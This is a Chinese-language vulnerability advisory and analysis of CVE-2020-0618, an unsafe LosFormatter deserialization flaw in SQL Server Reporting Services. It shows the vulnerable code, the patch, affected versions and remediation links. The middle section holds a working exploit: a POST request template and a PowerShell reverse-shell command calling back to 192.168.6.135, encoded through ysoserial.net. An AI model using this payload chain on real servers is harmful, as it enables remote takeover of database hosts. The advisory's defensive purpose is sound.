sqlserver中65535_漏洞分析|微软 SQL Server 远程代码执行漏洞（CVE20200618）

拼搏现实的明天。 2023-01-02 08:22 374阅读 0赞

![e34b1cc0cd9d95db83e46cc187f6fa07.png][]

## **漏洞描述** ##

近日，微软发布了2月安全更新公告，其中CVE-2020-0618 SQL Server 远程命令执行漏洞在国内存在危害，SQL Server 在国内使用量大。

Microsoft SQL Server(微软结构化查询语言服务器)是由微软公司所推出的关系型数据库解决方案。

漏洞存在于

ReportingServicesWebServer.dll

中，Microsoft.Reporting.WebForms.BrowserNavigationCorrector

的OnLoad()方法中，先从ViewState中取值，赋值给value变量，在对value变量进行非空判断后，初始化LosFormatter对象并对使用LosFormatter对象中的Deserialize()方法对value变量直接反序列化。

攻击者向 SQL Server 的Reporting Services发送特制请求会触发漏洞，攻击成功可获得SQL Server服务的对应控制权限。

## **漏洞分析** ##

此漏洞在ReportingServicesWebServer.dll中

Microsoft.Reporting.WebForms.BrowserNavigationCorrector的OnLoad方法使用LosFormatter类反序列化了不受信任的用户输入：

protected override void OnLoad(EventArgs e){
         
        base.OnLoad(e);
        this.EnsureChildControls();
        if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
        {
         
            string value = this.m_viewerViewState.Value;
            if (!string.IsNullOrEmpty(value))
            {
         
                LosFormatter losFormatter = new LosFormatter();
                object obj = null;
                try
                {
         
                    obj = losFormatter.Deserialize(value);

回溯BrowserNavigationCorrector类来自

Microsoft.ReportingServices.WebServer.ReportViewerPage类：

protected override void OnInit(EventArgs e){
         
        base.OnInit(e);
        ReportViewerHost reportViewer = this.ReportViewer;
        reportViewer.EnableHybrid = this.ShowHybrid;
        if (reportViewer != null)
        {
         
            PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
            reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
            BrowserNavigationCorrector child2 = reportViewer.CreateNavigationCorrector();
            reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child2);

可以通过在本地 SharePoint服务器中调用/ReportServer/pages/ReportViewer.aspx页面来调用此函数触发漏洞。

将以下HTTP请求发送到服务器验证漏洞：

POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
    Host: target
    Content-Type: application/x-www-form-urlencoded
    Content-Length: X
    
    NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=

在PowerShell中使用ysoserial.net工具生成paylaod：

$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.6.135",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
    
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
    
    $encodedCommand = [Convert]::ToBase64String($bytes)
    
    .\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip

使用上面生成的paylaod发送HTTP请求后得到了反向shell：

![ddc8754924646dc591ced4bfb7da30e8.png][]

在微软2020年二月的patch中，使用LosFormatter类时，补丁启用了MAC验证来缓解此漏洞：

LosFormatter losFormatter = new LosFormatter(true, this.m_viewer.GetUserId());

## **漏洞危害** ##

**高危**

## **影响版本** ##

Microsoft SQL Server 2012 for 32-bit Systems Service Pack 4 (QFE)

Microsoft SQL Server 2012 for x64-based Systems Service Pack 4 (QFE)

Microsoft SQL Server 2014 Service Pack 3 for 32-bit Systems (CU)

Microsoft SQL Server 2014 Service Pack 3 for 32-bit Systems (GDR)

Microsoft SQL Server 2014 Service Pack 3 for x64-based Systems (CU)

Microsoft SQL Server 2014 Service Pack 3 for x64-based Systems (GDR)

Microsoft SQL Server 2016 for x64-based Systems Service Pack 2 (CU)

Microsoft SQL Server 2016 for x64-based Systems Service Pack 2 (GDR)

## **安全建议** ##

打补丁是修补此漏洞的唯一选择，要确保只有经过身份验证的用户才能访问该程序。

请根据微软官进行漏洞修复：

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618

## **参考信息** ##

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618

https://support.microsoft.com/zh-cn/help/321185/how-to-determine-the-version-edition-and-update-level-of-sql-server-an

https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/

![c1ef4659efd650e72b4bac49b015a429.png][]

如需帮助请咨询 hscert@hillstonenet.com

[e34b1cc0cd9d95db83e46cc187f6fa07.png]: /images/20221120/4d998cabe3fa4e378119cc4109d451e3.png
[ddc8754924646dc591ced4bfb7da30e8.png]: /images/20221120/822cdede903e4fd89084fc2fad73b7c0.png
[c1ef4659efd650e72b4bac49b015a429.png]: /images/20221120/cef47d1379ec49f69b9c3ab5f5154429.png